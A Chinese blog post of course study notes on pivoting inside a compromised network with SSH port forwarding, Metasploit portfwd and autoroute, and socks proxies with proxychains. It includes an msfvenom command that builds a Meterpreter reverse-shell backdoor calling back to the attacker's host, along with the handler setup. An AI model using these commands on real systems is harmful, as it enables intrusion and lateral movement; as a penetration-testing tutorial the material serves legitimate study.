内网渗透隧道技术的相关知识


前言

      以前的暗月课程自学笔记整理。


一、内网常见隧道

应用层隧道:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
传输层隧道:TCP隧道、UDP隧道 
网络层隧道:ICMP隧道、IPV6隧道、GRE隧道

二、SSH隧道

1.什么是SSH隧道

      SSH隧道即SSH端口转发,在SSH客户端与SSH服务端之间建立一个隧道,将网络数据通过该隧道转发至指定端口,从而进行网络通信。SSH隧道自动提供了相应的加密及解密服务,保证了数据传输的安全性。

2.SSH隧道转发的三种模式

     1)SSH隧道有三种端口转发模式

      本地端口转发(也就是正向连接)、远程端口转发(就是反向连接)和动态端口转发(就是socks代理)。下面是一些常见参数说明:

常用参数说明
-f后台执行ssh指令
-C请求所有数据压缩传输,提高传输速度
-q安静模式. 消除所有的警告和诊断信息,就算出错也没有任何提示
-f重定向stdin 到 /dev/null
-l指定用户名,就是@前面写的那个
-n重定向stdin 到 /dev/null 在后台运行时一定会用到这个选项
-N建立静默连接(建立了连接,但是看不到具体的会话)
-g允许外界主机连接本地转发端口
-L表示本地端口转发
-R远程端口转发
-P指定ssh端口
-D指定一个本地机器,动态的应用程序端口转发(socks代理)
-T禁止分配伪终端,当用ssh或telnet等登录系统时,系统分配给我们的终端就是伪终端。如果禁用则无法获得终端,但仍能够获得shell,只不过没有很多应有的环境变量,例如命令提示符,PS1等

     2)SSH本地端口转发(正向连接):

      情景设定:假如我们已经控制了主机1 也就是web服务器,现在想访问主机2 的数据服务器,但是主机1 和主机2 不互通 ,所以搭建SSH隧道。
      简易网络拓扑说明:
在这里插入图片描述
      解决办法:利用SSH隧道正向连接,将主机2的80端口映射到主机1的8888端口,然后让我们的kali能够访问数据服务器。

	在主机1也就是web服务器上执行的命令:
	# 语法
	ssh –CNfg -L 监听ip:监听端口:远程主机ip:远程主机端口 用户名@跳板机ip port
	ssh –CNfg -L 0.0.0.0:8888:10.10.10.11:80  web@192.168.8.251
	kali访问http://192.168.8.251:8888即可成功访问主机2 的数据服务器
	
	转发3389端口,需修改ssh服务器配置文件
	/etc/ssh/sshd_config
	– PermitRootLogin yes
	– Port 22
	– PasswordAuthentication yes
	service ssh restart
	# 在web服务器上执行的转发3389端口命令
	web服务器监听的ip:web服务器监听的端口:数据服务器的ip:数据服务器的端口 web服务器的ssh用户名
	@web服务器的ip 端口
	ssh -CNfg -L 0.0.0.0:13389:10.10.10.11:3389 root@192.168.8.251 -p 22
	然后web服务器上使用rdesktop连接
	rdesktop 127.0.0.1 13389

在这里插入图片描述

     3)远程端口转发(反向连接):

      情景设定:假如我们已经控制了主机1 也就是web服务器,现在想访问主机2 的数据服务器,但是主机1 和主机2 不互通 ,所以搭建SSH隧道。
      简易网络拓扑说明:
在这里插入图片描述
      解决办法:利用SSH隧道反向连接,将web服务器自身的22端口映射到kali的2222端口上,然后让我们的kali能够访问数据服务器。

	在web服务器上执行的命令
	# 语法
	ssh -qTfnN -R kali上的端口:web服务器ip:web服务器port kali上的ssh用户 @ kali的ip  
	# 需输入kali的SSH的密码
	ssh -qTfnN -R 2222:127.0.0.1:22  root@192.168.8.250
	kali上执行的命令
	# 需输入web服务器的SSH密码
	ssh -p 2222 web@127.0.0.1
	# 转发3389端口
	ssh -CNfg -R 13389:10.10.10.10:3389 root@192.168.8.250
	kali上执行的命令
	rdesktop 127.0.0.1 13389

在这里插入图片描述

     4)动态端口转发(socks代理)

      情景如上,这次用socks代理的方式,需注意:ssh只支持socks4和socks5两种代理。

	在web服务器上执行的命令
	# -D参数工作原理就是在本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 
	# 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接
	# 语法
	ssh -qTfnN -D port remotehost
	# 对应说明      kali的ssh用户名  kali的ip
	ssh -qTfnN -D 25001 root@192.168.8.251
	kali上需配置浏览器的代理

在这里插入图片描述
      最后访问http://192.168.8.251:25001即可。

三、MSF方式端口映射

1.先拿shell

     1)使用msf生成后门。

msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.8.250  lport=25002 -f exe >/var/www/html/shell.exe

     2)kali监听对应端口,拿到shell。

	use exploit/multi/handler
	set payload  windows/meterpreter/reverse_tcp
	set lhost 192.168.8.250
	set lport 25002
	run

2.端口映射

     1)情景设定如上所示,贴一个简易拓扑图,有益理解。
在这里插入图片描述
     2)在meterpreter中执行命令映射端口,正向连接。之后访问kali本地25003端口即可。

	在拿到shell的主机1中用msf执行以下命令	
	portfwd add -L 192.168.8.250 -l 25003 -p 80 -r 10.10.10.11
参数说明
-L要监听的本地主机
-l要监听的本地端口
-p连接到的远程端口
-r要连接到的远程主机

3.端口转发

     1)在拿到shell的主机1中用msf执行以下命令。

	将主机1的3389端口转发到kali的25003端口
	portfwd add -l 25003 -p 3389 -r 192.168.8.251
	kali上执行的命令
	rdesktop 127.1.1.0:25003 #即可成功连接3389,需输入账号密码

     2)portfwd的其他命令。

命令说明
portfwd list查看列表
portfwd flush清空列表

四、MSF跨路由扫描

1.添加路由并查看

	run autoroute -s 192.168.52.0/24  #添加录路由
	run autoroute -p  #查看路由
	route print	 #查看路由

在这里插入图片描述

2.添加代理

      设置 socks 代理,注意Socks 代理支持已被整合到单个辅助模块中了,默认版本是5可以使用tcp和udp的方式需设置账号密码,可切换版本。

background
use auxiliary/server/socks_proxy
set version 4a
set srvhost 192.168.231.133  #kali的ip不想更改默认也可以
set srvport 25002
run

在这里插入图片描述

3.修改配置文件

      去掉 # 打开 dynamic_chain,在最下方添加代理ip和端口,不想改可直接使用默认的。如果遇到proxychains.conf 文件为空的情况,可把proxychains4.conf 中的文件内容复制过来,或者直接把proxychains.conf 文件删除,把proxychains4.conf 文件命名为proxychains.conf。proxychains不要启用DNS代理,要把proxy_dns用#注释掉,否则nmap扫描时会报错。

vim /etc/proxychains.conf

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4.测试一下

      测试是否能够访问内网ip,发现成功访问,配置成功。

proxychains curl http://192.168.52.143

在这里插入图片描述

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值